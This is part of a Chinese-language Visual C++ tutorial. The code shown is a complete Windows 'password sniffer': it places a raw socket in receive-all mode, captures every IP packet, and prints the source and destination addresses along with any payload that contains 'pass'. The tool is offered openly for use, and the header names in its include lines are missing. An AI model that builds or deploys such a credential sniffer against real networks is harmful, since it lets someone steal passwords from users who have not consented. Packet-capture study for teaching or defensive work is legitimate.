Visual C++制作一个Sniffer实例(2)

#include 
#include 
#include 
#include 
#include "ws2tcpip.h"
#define MAX_PACK_LEN 4096 //接收的最大IP报文
#define MAX_ADDR_LEN 16 // 点分十进制地址的最大长度
#define MAX_HOSTNAME_LAN 255 //最大主机名长度
typedef struct _iphdr
{
　unsigned char h_lenver; //4位首部长度+4位IP版本号
　unsigned char tos; //8位服务类型TOS
　unsigned short total_len; //16位总长度（字节）
　unsigned short ident; //16位标识
　unsigned short frag_and_flags; //3位标志位
　unsigned char ttl; //8位生存时间 TTL
　unsigned char proto; //8位协议 (TCP, UDP 或其他)
　unsigned short checksum; //16位IP首部校验和
　unsigned int sourceIP; //32位源IP地址
　unsigned int destIP; //32位目的IP地址
}IP_HEADER;
SOCKET SockRaw; 
int DecodeIpPack(char *,int); //IP解包函数
void CheckSockError(int,char*);//SOCK错误处理函数
void main(int argc, char ** argv)
{
　int iErrorCode;
　char RecvBuf[MAX_PACK_LEN] = {0};
　WSADATA wsaData;
　char name[MAX_HOSTNAME_LAN];
　struct hostent * pHostent;
　SOCKADDR_IN sa;
　DWORD dwBufferLen [10];
　DWORD dwBufferInLen = 1;
　DWORD dwBytesReturned = 0;
　if(argc!=1)
　{
printf("Password sniffer written by Wu.\n\n");
printf("Usage:");
printf("\tsniffer.exe \n");
exit(0);
　}
　printf("It's now sniffing,CTRL+C to exit...\n\n");
　//初始化SOCKET,建立一个原始套接字
　iErrorCode = WSAStartup(0x0202,&wsaData);
　CheckSockError(iErrorCode, "WSAStartup");
　SockRaw = socket(AF_INET , SOCK_RAW , IPPROTO_IP);
　CheckSockError(SockRaw, "socket");
　//获取本机IP地址
　iErrorCode = gethostname(name, MAX_HOSTNAME_LAN);
　CheckSockError(iErrorCode, "gethostname");
　pHostent = (struct hostent * )malloc(sizeof(struct hostent));
　pHostent = gethostbyname(name);
　sa.sin_family = AF_INET;
　sa.sin_port = htons(6000);
　memcpy(&sa.sin_addr.S_un.S_addr, pHostent->h_addr_list[0], pHostent->h_length);
　//绑定套接字
　iErrorCode = bind(SockRaw, (PSOCKADDR)&sa, sizeof(sa));
　CheckSockError(iErrorCode, "bind");
　//设置SOCK_RAW为SIO_RCVALL，以便接收所有的IP包
　iErrorCode=WSAIoctl(SockRaw, SIO_RCVALL,&dwBufferInLen, sizeof(dwBufferInLen),
　&dwBufferLen, sizeof(dwBufferLen),&dwBytesReturned , NULL , NULL );
　CheckSockError(iErrorCode, "Ioctl");
　//侦听IP报文
　while(1)
　{
memset(RecvBuf, 0, sizeof(RecvBuf));
iErrorCode = recv(SockRaw, RecvBuf, sizeof(RecvBuf), 0);
CheckSockError(iErrorCode, "recv");
iErrorCode = DecodeIpPack(RecvBuf, iErrorCode);//对收到的IP包进行解包
CheckSockError(iErrorCode, "Decode");
　}
}
//IP解包程序
int DecodeIpPack(char *buf, int iBufSize)
{
　IP_HEADER *pIpheader;
　char *SearchPass;
　int iIphLen, iTTL;
　char szSourceIP[MAX_ADDR_LEN], szDestIP[MAX_ADDR_LEN];
　SOCKADDR_IN saSource, saDest;
　pIpheader = (IP_HEADER *)buf;
　//获取源IP地址
　saSource.sin_addr.s_addr = pIpheader->sourceIP;
　strncpy(szSourceIP, inet_ntoa(saSource.sin_addr), MAX_ADDR_LEN);
　//获取目标IP地址
　saDest.sin_addr.s_addr = pIpheader->destIP;
　strncpy(szDestIP, inet_ntoa(saDest.sin_addr), MAX_ADDR_LEN);
　iTTL = pIpheader->ttl;
　//计算IP包头长度
　iIphLen = sizeof(unsigned long) * (pIpheader->h_lenver & 0xf);
　SearchPass = buf + iIphLen + 20 ;
　//如果抓到密码就输出
　if(strstr(SearchPass,"pass")||strstr(SearchPass,"Pass")||strstr(SearchPass,"PASS"))
　{
printf("\n\n%s->%s ", szSourceIP, szDestIP); //输出源计算机和目的计算机的IP地址
printf("bytes=%d TTL=%d \n",iBufSize,iTTL);
printf("%s",SearchPass);
　}
　return 0;
}
//SOCK错误处理程序
void CheckSockError(int iErrorCode, char *pErrorMsg)
{
　if(iErrorCode==SOCKET_ERROR)
　{
printf("%s Error:%d\n", pErrorMsg, GetLastError());
closesocket(SockRaw);
exit(0);
　}
}